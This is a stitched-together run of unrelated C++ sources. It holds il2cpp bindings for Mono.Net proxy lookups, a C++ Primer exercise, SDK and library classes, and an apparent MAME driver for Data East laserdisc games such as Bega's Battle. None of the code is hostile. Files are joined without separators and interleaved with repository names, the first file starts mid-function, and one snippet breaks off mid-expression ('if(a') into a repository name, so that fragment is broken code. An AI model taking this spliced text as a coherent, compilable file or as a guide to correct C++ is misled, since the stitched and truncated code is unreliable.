::il2cpp_utils::RunMethodRethrow<::ArrayW<::Mono::Net::CFProxy*>, false>(static_cast(nullptr), ___internal__method, proxyAutoConfigurationScript, targetURL); } // Autogenerated method: Mono.Net.CFNetwork.GetProxiesForAutoConfigurationScript ::ArrayW<::Mono::Net::CFProxy*> Mono::Net::CFNetwork::GetProxiesForAutoConfigurationScript(::System::IntPtr proxyAutoConfigurationScript, ::System::Uri* targetUri) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::GetProxiesForAutoConfigurationScript"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "GetProxiesForAutoConfigurationScript", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(proxyAutoConfigurationScript), ::il2cpp_utils::ExtractType(targetUri)}))); return ::il2cpp_utils::RunMethodRethrow<::ArrayW<::Mono::Net::CFProxy*>, false>(static_cast(nullptr), ___internal__method, proxyAutoConfigurationScript, targetUri); } // Autogenerated method: Mono.Net.CFNetwork.ExecuteProxyAutoConfigurationURL ::ArrayW<::Mono::Net::CFProxy*> Mono::Net::CFNetwork::ExecuteProxyAutoConfigurationURL(::System::IntPtr proxyAutoConfigURL, ::System::Uri* targetURL) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::ExecuteProxyAutoConfigurationURL"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "ExecuteProxyAutoConfigurationURL", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(proxyAutoConfigURL), ::il2cpp_utils::ExtractType(targetURL)}))); return ::il2cpp_utils::RunMethodRethrow<::ArrayW<::Mono::Net::CFProxy*>, false>(static_cast(nullptr), ___internal__method, proxyAutoConfigURL, targetURL); } // Autogenerated method: Mono.Net.CFNetwork.CFNetworkCopyProxiesForURL ::System::IntPtr Mono::Net::CFNetwork::CFNetworkCopyProxiesForURL(::System::IntPtr url, ::System::IntPtr proxySettings) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::CFNetworkCopyProxiesForURL"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "CFNetworkCopyProxiesForURL", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(url), ::il2cpp_utils::ExtractType(proxySettings)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, url, proxySettings); } // Autogenerated method: Mono.Net.CFNetwork.CopyProxiesForURL ::Mono::Net::CFArray* Mono::Net::CFNetwork::CopyProxiesForURL(::Mono::Net::CFUrl* url, ::Mono::Net::CFDictionary* proxySettings) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::CopyProxiesForURL"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "CopyProxiesForURL", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(url), ::il2cpp_utils::ExtractType(proxySettings)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Net::CFArray*, false>(static_cast(nullptr), ___internal__method, url, proxySettings); } // Autogenerated method: Mono.Net.CFNetwork.GetProxiesForURL ::ArrayW<::Mono::Net::CFProxy*> Mono::Net::CFNetwork::GetProxiesForURL(::Mono::Net::CFUrl* url, ::Mono::Net::CFProxySettings* proxySettings) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::GetProxiesForURL"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "GetProxiesForURL", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(url), ::il2cpp_utils::ExtractType(proxySettings)}))); return ::il2cpp_utils::RunMethodRethrow<::ArrayW<::Mono::Net::CFProxy*>, false>(static_cast(nullptr), ___internal__method, url, proxySettings); } // Autogenerated method: Mono.Net.CFNetwork.GetProxiesForUri ::ArrayW<::Mono::Net::CFProxy*> Mono::Net::CFNetwork::GetProxiesForUri(::System::Uri* uri, ::Mono::Net::CFProxySettings* proxySettings) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::GetProxiesForUri"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "GetProxiesForUri", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(uri), ::il2cpp_utils::ExtractType(proxySettings)}))); return ::il2cpp_utils::RunMethodRethrow<::ArrayW<::Mono::Net::CFProxy*>, false>(static_cast(nullptr), ___internal__method, uri, proxySettings); } // Autogenerated method: Mono.Net.CFNetwork.CFNetworkCopySystemProxySettings ::System::IntPtr Mono::Net::CFNetwork::CFNetworkCopySystemProxySettings() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::CFNetworkCopySystemProxySettings"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "CFNetworkCopySystemProxySettings", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method); } // Autogenerated method: Mono.Net.CFNetwork.GetSystemProxySettings ::Mono::Net::CFProxySettings* Mono::Net::CFNetwork::GetSystemProxySettings() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::GetSystemProxySettings"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "GetSystemProxySettings", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Net::CFProxySettings*, false>(static_cast(nullptr), ___internal__method); } // Autogenerated method: Mono.Net.CFNetwork.GetDefaultProxy ::System::Net::IWebProxy* Mono::Net::CFNetwork::GetDefaultProxy() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::GetDefaultProxy"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "GetDefaultProxy", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::Net::IWebProxy*, false>(static_cast(nullptr), ___internal__method); } Part-III/Ch13/13.1.6/13.18.cc #include class Employee { public: Employee(const std::string name) : name(name), id(id_counter++) {} private: static size_t id_counter; std::string name; size_t id; }; size_t Employee::id_counter = 0;10-100 /******************************************************************************* Copyright(c) 2015-2021 . All rights reserved. MIT Licensed. See the included LICENSE.txt for a copy of the full MIT License. *******************************************************************************/ #include "stdafx.h" #include "BaseStationButton.h" namespace mscl { BaseStationButton::BaseStationButton(): m_command(btn_disabled), m_nodeAddress(0) { } BaseStationButton::BaseStationButton(Command cmd, uint16 nodeAddress): m_command(cmd), m_nodeAddress(nodeAddress) { } BaseStationButton::Command BaseStationButton::command() const { return m_command; } void BaseStationButton::command(Command cmd) { m_command = cmd; } uint16 BaseStationButton::nodeAddress() const { return m_nodeAddress; } void BaseStationButton::nodeAddress(uint16 address) { m_nodeAddress = address; } }0 #include using namespace std; int main() { int a,b; scanf("%d%d",&a,&b); if(aArashMassoudieh/GIFMod_ #include "Sensor.h" #include "Distribution.h" CSensor::CSensor() { } CSensor::CSensor(int numberofExperiments) { setNumberofExperiments(numberofExperiments); } CSensor::~CSensor() { } CSensor::CSensor(const CSensor &M) { name = M.name; loc_type = M.loc_type; //0: block, 1: connector quan = M.quan; id = M.id; error_structure = M.error_structure; //0: normal-additive, 1:lognormal-multiplicative error_std = M.error_std; interval = M.interval; output = M.output; } CSensor& CSensor::operator=(const CSensor &M) { name = M.name; loc_type = M.loc_type; //0: block, 1: connector quan = M.quan; id = M.id; error_structure = M.error_structure; //0: normal-additive, 1:lognormal-multiplicative error_std = M.error_std; interval = M.interval; output = M.output; return *this; } void CSensor::append_output(double t, double C, int experiment_id) { output[experiment_id].knock_out(t - interval / 10); if (error_structure==0) output[experiment_id].append(t, C+ getstdnormalrand()*error_std); else if (error_structure ==1) output[experiment_id].append(t, C*(exp(getstdnormalrand()*error_std))); return; }include/section.ipp namespace graphene::property { namespace detail { bool begin_section(const std::string& label); } // detail template inline section::section(std::string label, Args... args) : label_(std::move(label)), elements_(std::move(args)...) {} template inline void section::render() { if (!detail::begin_section(label_)) { return; } std::apply([](auto&... el) { (el.render(), ...); }, elements_); } } // namespace graphene::property ChenwxJay/huaweicloud-sdk-cpp-v3 #include "huaweicloud/sis/v1/model/PhonemeFluency.h" namespace HuaweiCloud { namespace Sdk { namespace Sis { namespace V1 { namespace Model { PhonemeFluency::PhonemeFluency() { score_ = 0.0f; scoreIsSet_ = false; rhythm_ = 0.0f; rhythmIsSet_ = false; } PhonemeFluency::~PhonemeFluency() = default; void PhonemeFluency::validate() { } web::json::value PhonemeFluency::toJson() const { web::json::value val = web::json::value::object(); if(scoreIsSet_) { val[utility::conversions::to_string_t("score")] = ModelBase::toJson(score_); } if(rhythmIsSet_) { val[utility::conversions::to_string_t("rhythm")] = ModelBase::toJson(rhythm_); } return val; } bool PhonemeFluency::fromJson(const web::json::value& val) { bool ok = true; if(val.has_field(utility::conversions::to_string_t("score"))) { const web::json::value& fieldValue = val.at(utility::conversions::to_string_t("score")); if(!fieldValue.is_null()) { float refVal; ok &= ModelBase::fromJson(fieldValue, refVal); setScore(refVal); } } if(val.has_field(utility::conversions::to_string_t("rhythm"))) { const web::json::value& fieldValue = val.at(utility::conversions::to_string_t("rhythm")); if(!fieldValue.is_null()) { float refVal; ok &= ModelBase::fromJson(fieldValue, refVal); setRhythm(refVal); } } return ok; } float PhonemeFluency::getScore() const { return score_; } void PhonemeFluency::setScore(float value) { score_ = value; scoreIsSet_ = true; } bool PhonemeFluency::scoreIsSet() const { return scoreIsSet_; } void PhonemeFluency::unsetscore() { scoreIsSet_ = false; } float PhonemeFluency::getRhythm() const { return rhythm_; } void PhonemeFluency::setRhythm(float value) { rhythm_ = value; rhythmIsSet_ = true; } bool PhonemeFluency::rhythmIsSet() const { return rhythmIsSet_; } void PhonemeFluency::unsetrhythm() { rhythmIsSet_ = false; } } } } } } 0 /** * 3D Foundation Project * Copyright 2019 Smithsonian Institution * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "Engine.h" #include #include using namespace meshsmith; namespace meshsmith { struct _engineImpl_t { Assimp::Importer* _pImporter; Assimp::Exporter* _pExporter; uint32_t refCount; }; } Engine::Engine() { _createRef(); } Engine::Engine(const Engine& other) { _pImpl = other._pImpl; _addRef(); } Engine::~Engine() { _releaseRef(); } Engine& Engine::operator=(const Engine& other) { if (this == &other) return *this; _releaseRef(); _pImpl = other._pImpl; _addRef(); return *this; } void Engine::_createRef() { _pImpl = new _engineImpl_t(); _pImpl->refCount = 1; _pImpl->_pImporter = new Assimp::Importer(); _pImpl->_pExporter = new Assimp::Exporter(); } void Engine::_addRef() { if (_pImpl) _pImpl->refCount++; } void Engine::_releaseRef() { if (_pImpl) { _pImpl->refCount--; if (_pImpl->refCount == 0) { delete _pImpl->_pImporter; delete _pImpl->_pExporter; delete _pImpl; } _pImpl = nullptr; } } jayrulez/eepp #ifndef EE_MAPS_CLIGHT_H #define EE_MAPS_CLIGHT_H #include namespace EE { namespace Maps { /** @enum MapLightType Define the light spot type */ enum MapLightType { Normal = 0, Isometric = 1 }; class EE_API MapLight { public: MapLight(); MapLight( const Float& Radius, const Float& x, const Float& y, const RGB& Color = RGB( 255, 255, 255 ), MapLightType Type = MapLightType::Normal ); virtual ~MapLight(); void create( const Float& Radius, const Float& x, const Float& y, const RGB& Color = RGB( 255, 255, 255 ), MapLightType Type = MapLightType::Normal ); virtual RGB processVertex( const Float& PointX, const Float& PointY, const RGB& VertexColor, const RGB& BaseColor ); virtual Color processVertex( const Float& PointX, const Float& PointY, const Color& VertexColor, const Color& BaseColor ); RGB processVertex( const Vector2f& Pos, const RGB& VertexColor, const RGB& BaseColor ); Color processVertex( const Vector2f& Pos, const Color& VertexColor, const Color& BaseColor ); void move( const Float& addtox, const Float& addtoy ); void updatePos( const Float& x, const Float& y ); void updatePos( const Vector2f& newPos ); Rectf getAABB() const; const Float& getRadius() const; void setRadius( const Float& radio ); const bool& isActive() const; void setActive( const bool& active ); void setColor( const RGB& color ); const RGB& getColor() const; void setType( const MapLightType& type ); const MapLightType& getType() const; const Vector2f& getPosition() const; void setPosition( const Vector2f& newPos ); protected: Float mRadius; Vector2f mPos; RGB mColor; MapLightType mType; Rectf mAABB; bool mActive; void updateAABB(); }; }} // namespace EE::Maps #endif // license:BSD-3-Clause // copyright-holders: /*************************************************************************** Bega's Battle (c) 1983 Data East Corporation preliminary driver by TODO: - laserdisc hook-up and 6850 comms; - "RAM TEST ERROR 5J" in Bega's Battle and Cobra Command - "SOUND TEST READ ERROR" - color offset number origin is unknown; - Bega's Battle VBLANK hack (ld/framework fault most likely) - CPU clocks - dip-switches - clean-ups *************************************************************************** There are three hardware versions of Cobra Command (LD): Data East single PCB, Pioneer LD-V1000 Data East 3-boardset, same hardware as Bega's Battle & Road Blaster, Sony LDP-1000 MACH3 conversion kit (ROMs, disc, decals), Pioneer PR-8210 There are four versions of the laserdisc. Pioneer (08359) Data East (Japan), LDS-301 with an orange label Data East (USA), LDS-301A with a green label Sony (a1090731704132a) The Data East labelled discs were released with the DE 3-boardset version and MACH3 conversion. The Pioneer Labelled disc was released with the DE single PCB version. Not sure what version the Sony disc came from. It was given to me by the copyright owner of Road Blaster, who also gave me a Road Blaster disc/kit which has a similar Sony label. I peeled the Data East labels off an orange and a green labelled disc and the labels underneath were identical to the Sony labelled disc (Sony Japan, disc No.a1090731704132a). Physical appearances aside, the Sony and Pioneer pressed discs have identical content. =========================================================================== --------------------------------- Bega's Battle by DATA EAST (1983) --------------------------------- malcor Location Device File ID Checksum ---------------------------------------- TB 14F 2764 AN00 E929 [ main program ] [ Rev.1 ] TB 12F 2764 AN01 7B4D [ main program ] [ Rev.1 ] TB 11F 2764 AN02 3390 [ main program ] [ Rev.1 ] TB 9F 2764 AN03 A9E5 [ main program ] [ Rev.1 ] TB 8F 2764 AN04 303E [ main program ] [ Rev.1 ] TB 6F 2764 AN05 3A89 [ main program ] [ Rev.1 ] TB 14F 2764 AN00-3 E983 [ main program ] [ Rev.3 ] TB 11F 2764 AN02-3 46DA [ main program ] [ Rev.3 ] TB 9F 2764 AN03-3 B99B [ main program ] [ Rev.3 ] TB 8F 2764 AN04-3 3A57 [ main program ] [ Rev.3 ] TB 6F 2764 AN05-3 3A9D [ main program ] [ Rev.3 ] TB 15C 2764 AN06 916B [ snd program ] TB 3A 2764 AN07 944B TB 4A 2764 AN08 798F TB 6A 2764 AN09 DF57 TB 12A 2764 AN0A 5B95 TB 14A 2764 AN0B F2C7 TB 15A 2764 AN0C 1605 LB 2F 82S123 AF-8.bpr 00FC [ DSP select ] LB 14K PAL10L8 LP1-1.pld 6A1A LB 7C PAL10L8 LP1-2.pld 6A16 LB 8C PAL12L6 LP1-3.pld 76B3 LB 11E PAL12L6 LP1-4.pld 769F LB 6C PAL10L8 LP1-5.pld 6A99 LB 12C PAL10L8 LP1-5.pld 6A99 TB 10H PAL10L8 LP2-1.pld 6A36 TB C10 PAL10L8 LP2-4.pld 6A05 Note: TB - Top board VDO-2 DE-0139-1 LB - Lower board VDO-1 DE-0138-1 Laserdisc video game Brief hardware overview ----------------------- Main processor - 6502 - EF68B50P communications interface - AM2950DC I/O port to sound processor Sound processor - 6502 2x - AY-3-8910 ***************************************************************************/ #include "emu.h" #include "cpu/m6502/m6502.h" #include "sound/ay8910.h" #include "machine/ldp1000.h" #include "machine/gen_latch.h" #include "machine/6850acia.h" #include "speaker.h" class deco_ld_state : public driver_device { public: deco_ld_state(const machine_config &mconfig, device_type type, const char *tag) : driver_device(mconfig, type, tag), m_maincpu(*this, "maincpu"), m_audiocpu(*this, "audiocpu"), m_laserdisc(*this, "laserdisc"), //m_acia(*this, "acia"), m_gfxdecode(*this, "gfxdecode"), m_screen(*this, "screen"), m_palette(*this, "palette"), m_soundlatch(*this, "soundlatch"), m_soundlatch2(*this, "soundlatch2"), m_vram0(*this, "vram0"), m_attr0(*this, "attr0"), m_vram1(*this, "vram1"), m_attr1(*this, "attr1") { } required_device m_maincpu; optional_device m_audiocpu; required_device m_laserdisc; //required_device m_acia; required_device m_gfxdecode; required_device m_screen; required_device m_palette; required_device m_soundlatch; required_device m_soundlatch2; required_shared_ptr m_vram0; required_shared_ptr m_attr0; required_shared_ptr m_vram1; required_shared_ptr m_attr1; uint8_t m_laserdisc_data; int m_nmimask; DECLARE_READ8_MEMBER(acia_status_hack_r); DECLARE_READ8_MEMBER(sound_status_r); DECLARE_WRITE8_MEMBER(decold_sound_cmd_w); DECLARE_CUSTOM_INPUT_MEMBER(begas_vblank_r); DECLARE_INPUT_CHANGED_MEMBER(coin_inserted); virtual void machine_start() override; uint32_t screen_update_rblaster(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect); INTERRUPT_GEN_MEMBER(sound_interrupt); void draw_sprites(bitmap_ind16 &bitmap, const rectangle &cliprect, uint8_t *spriteram, uint16_t tile_bank ); void rblaster(machine_config &config); void rblaster_map(address_map &map); void rblaster_sound_map(address_map &map); }; void deco_ld_state::draw_sprites(bitmap_ind16 &bitmap, const rectangle &cliprect, uint8_t *spriteram, uint16_t tile_bank ) { gfx_element *gfx = m_gfxdecode->gfx(1); int i,spr_offs,x,y,col,fx,fy; /* [+0] ---- -x-- flip X [+0] ---- --x- flip Y [+0] ---- ---x enable this sprite [+1] tile number [+2] y coord [+3] x coord */ for(i=0;i<0x20;i+=4) { if(~spriteram[i+0] & 1) continue; spr_offs = spriteram[i+1]|tile_bank; x = spriteram[i+3]; y = spriteram[i+2]; col = 6; /* TODO */ fx = (spriteram[i+0] & 0x04) ? 1 : 0; fy = (spriteram[i+0] & 0x02) ? 1 : 0; gfx->transpen(bitmap,cliprect,spr_offs,col,fx,fy,x,y,0); } for(i=0x3e0;i<0x400;i+=4) { if(~spriteram[i+0] & 1) continue; spr_offs = spriteram[i+1]|tile_bank; x = spriteram[i+3]; y = spriteram[i+2]; col = 6; /* TODO */ fx = (spriteram[i+0] & 0x04) ? 1 : 0; fy = (spriteram[i+0] & 0x02) ? 1 : 0; gfx->transpen(bitmap,cliprect,spr_offs,col,fx,fy,x,y,0); } } uint32_t deco_ld_state::screen_update_rblaster(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect) { gfx_element *gfx = m_gfxdecode->gfx(0); int y,x; bitmap.fill(0, cliprect); draw_sprites(bitmap,cliprect,m_vram1,0x000); draw_sprites(bitmap,cliprect,m_vram0,0x100); for (y=0;y<32;y++) { for (x=0;x<32;x++) { int attr = m_attr0[x+y*32]; int tile = m_vram0[x+y*32] | ((attr & 3) << 8); int colour = (6 & 0x7); /* TODO */ gfx->transpen(bitmap,cliprect,tile|0x400,colour,0,0,x*8,y*8,0); } } for (y=0;y<32;y++) { for (x=0;x<32;x++) { int attr = m_attr1[x+y*32]; int tile = m_vram1[x+y*32] | ((attr & 3) << 8); int colour = (6 & 0x7); /* TODO */ gfx->transpen(bitmap,cliprect,tile,colour,0,0,x*8,y*8,0); } } return 0; } WRITE8_MEMBER(deco_ld_state::decold_sound_cmd_w) { m_soundlatch->write(space, 0, data); m_audiocpu->set_input_line(0, HOLD_LINE); } /* unknown, but certainly related to audiocpu somehow */ READ8_MEMBER(deco_ld_state::sound_status_r) { return 0xff ^ 0x40; } // TODO: needs LD BIOS dumped READ8_MEMBER(deco_ld_state::acia_status_hack_r) { return 0xff; } void deco_ld_state::rblaster_map(address_map &map) { map(0x0000, 0x0fff).ram(); map(0x1000, 0x1000).portr("IN0").nopw(); // (w) coin lockout map(0x1001, 0x1001).portr("DSW1"); map(0x1002, 0x1002).portr("DSW2"); map(0x1003, 0x1003).portr("IN1"); map(0x1004, 0x1004).r(m_soundlatch2, FUNC(generic_latch_8_device::read)).w(this, FUNC(deco_ld_state::decold_sound_cmd_w)); map(0x1005, 0x1005).r(this, FUNC(deco_ld_state::sound_status_r)); //AM_RANGE(0x1006, 0x1007) AM_DEVREADWRITE("acia", acia6850_device, read, write) map(0x1006, 0x1006).r(this, FUNC(deco_ld_state::acia_status_hack_r)); map(0x1007, 0x1007).rw(m_laserdisc, FUNC(sony_ldp1000_device::status_r), FUNC(sony_ldp1000_device::command_w)); map(0x1800, 0x1fff).ram().w(m_palette, FUNC(palette_device::write8)).share("palette"); map(0x2000, 0x27ff).ram(); map(0x2800, 0x2bff).ram().share("vram0"); map(0x2c00, 0x2fff).ram().share("attr0"); map(0x3000, 0x37ff).ram(); map(0x3800, 0x3bff).ram().share("vram1"); map(0x3c00, 0x3fff).ram().share("attr1"); map(0x4000, 0xffff).rom(); } /* sound arrangement is pratically identical to Zero Target. */ #ifdef UNUSED_FUNCTION WRITE8_MEMBER(deco_ld_state::nmimask_w) { m_nmimask = data & 0x80; } #endif INTERRUPT_GEN_MEMBER(deco_ld_state::sound_interrupt) { if (!m_nmimask) device.execute().set_input_line(INPUT_LINE_NMI, PULSE_LINE); } void deco_ld_state::rblaster_sound_map(address_map &map) { map(0x0000, 0x01ff).ram(); map(0x2000, 0x2000).w("ay1", FUNC(ay8910_device::data_w)); map(0x4000, 0x4000).w("ay1", FUNC(ay8910_device::address_w)); map(0x6000, 0x6000).w("ay2", FUNC(ay8910_device::data_w)); map(0x8000, 0x8000).w("ay2", FUNC(ay8910_device::address_w)); map(0xa000, 0xa000).r(m_soundlatch, FUNC(generic_latch_8_device::read)).w(m_soundlatch2, FUNC(generic_latch_8_device::write)); map(0xe000, 0xffff).rom(); } CUSTOM_INPUT_MEMBER( deco_ld_state::begas_vblank_r ) { return m_screen->vpos() >= 240*2; } INPUT_CHANGED_MEMBER(deco_ld_state::coin_inserted) { m_maincpu->set_input_line(INPUT_LINE_NMI, newval ? CLEAR_LINE : ASSERT_LINE); } static INPUT_PORTS_START( begas ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_BUTTON3 ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_TILT ) PORT_START("IN1") PORT_DIPNAME( 0x01, 0x01, "DSWA" ) PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x02, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x04, 0x04, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x04, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x08, 0x08, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x08, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x10, 0x10, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x10, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x20, 0x20, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x20, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x40, 0x40, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x40, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_BIT( 0x80, IP_ACTIVE_HIGH, IPT_SPECIAL ) PORT_CUSTOM_MEMBER(DEVICE_SELF,deco_ld_state,begas_vblank_r, nullptr) // TODO: IPT_VBLANK doesn't seem to work fine? PORT_START("DSW1") PORT_DIPNAME( 0x01, 0x01, "DSWA" ) PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x02, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x04, 0x04, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x04, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x08, 0x08, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x08, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_IMPULSE(1) PORT_CHANGED_MEMBER(DEVICE_SELF, deco_ld_state,coin_inserted, 0) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_IMPULSE(1) PORT_CHANGED_MEMBER(DEVICE_SELF, deco_ld_state,coin_inserted, 0) PORT_START("DSW2") PORT_DIPNAME( 0x01, 0x01, "DSWA" ) PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x02, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x04, 0x04, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x04, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x08, 0x08, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x08, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x10, 0x10, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x10, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x20, 0x20, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x20, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x40, 0x40, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x40, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x80, 0x80, DEF_STR( Service_Mode ) ) PORT_DIPSETTING( 0x80, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) INPUT_PORTS_END static INPUT_PORTS_START( cobra ) PORT_INCLUDE( begas ) PORT_MODIFY("IN1") PORT_BIT( 0x80, IP_ACTIVE_HIGH, IPT_CUSTOM ) PORT_VBLANK("screen") /* TODO: dips */ INPUT_PORTS_END static INPUT_PORTS_START( rblaster ) PORT_INCLUDE( begas ) PORT_MODIFY("IN1") PORT_BIT( 0x80, IP_ACTIVE_HIGH, IPT_CUSTOM ) PORT_VBLANK("screen") /* TODO: dips */ INPUT_PORTS_END static const gfx_layout charlayout = { 8,8, RGN_FRAC(1,3), 3, { RGN_FRAC(2,3),RGN_FRAC(1,3),RGN_FRAC(0,3) }, { 7, 6, 5, 4, 3, 2, 1, 0 }, { 7*8, 6*8, 5*8, 4*8, 3*8, 2*8, 1*8, 0*8 }, 8*8 }; static const gfx_layout spritelayout = { 16,16, RGN_FRAC(1,3), 3, { RGN_FRAC(2,3),RGN_FRAC(1,3),RGN_FRAC(0,3) }, { 7, 6, 5, 4, 3, 2, 1, 0, 16*8+7, 16*8+6, 16*8+5, 16*8+4, 16*8+3, 16*8+2, 16*8+1, 16*8+0 }, { 15*8, 14*8, 13*8, 12*8, 11*8, 10*8, 9*8, 8*8, 7*8, 6*8, 5*8, 4*8, 3*8, 2*8, 1*8, 0*8 }, 16*16 }; static GFXDECODE_START( rblaster ) GFXDECODE_ENTRY( "gfx1", 0, charlayout, 0, 8 ) GFXDECODE_ENTRY( "gfx1", 0, spritelayout, 0, 8 ) GFXDECODE_END void deco_ld_state::machine_start() { } MACHINE_CONFIG_START(deco_ld_state::rblaster) /* basic machine hardware */ MCFG_CPU_ADD("maincpu",M6502,8000000/2) MCFG_CPU_PROGRAM_MAP(rblaster_map) MCFG_CPU_VBLANK_INT_DRIVER("screen", deco_ld_state, irq0_line_hold) MCFG_CPU_ADD("audiocpu",M6502,8000000/2) MCFG_CPU_PROGRAM_MAP(rblaster_sound_map) MCFG_CPU_PERIODIC_INT_DRIVER(deco_ld_state, sound_interrupt, 640) // MCFG_QUANTUM_TIME(attotime::from_hz(6000)) MCFG_LASERDISC_LDP1000_ADD("laserdisc") MCFG_LASERDISC_OVERLAY_DRIVER(256, 256, deco_ld_state, screen_update_rblaster) //MCFG_LASERDISC_OVERLAY_CLIP(0, 256-1, 8, 240-1) MCFG_LASERDISC_OVERLAY_PALETTE("palette") /* video hardware */ MCFG_LASERDISC_SCREEN_ADD_NTSC("screen", "laserdisc") 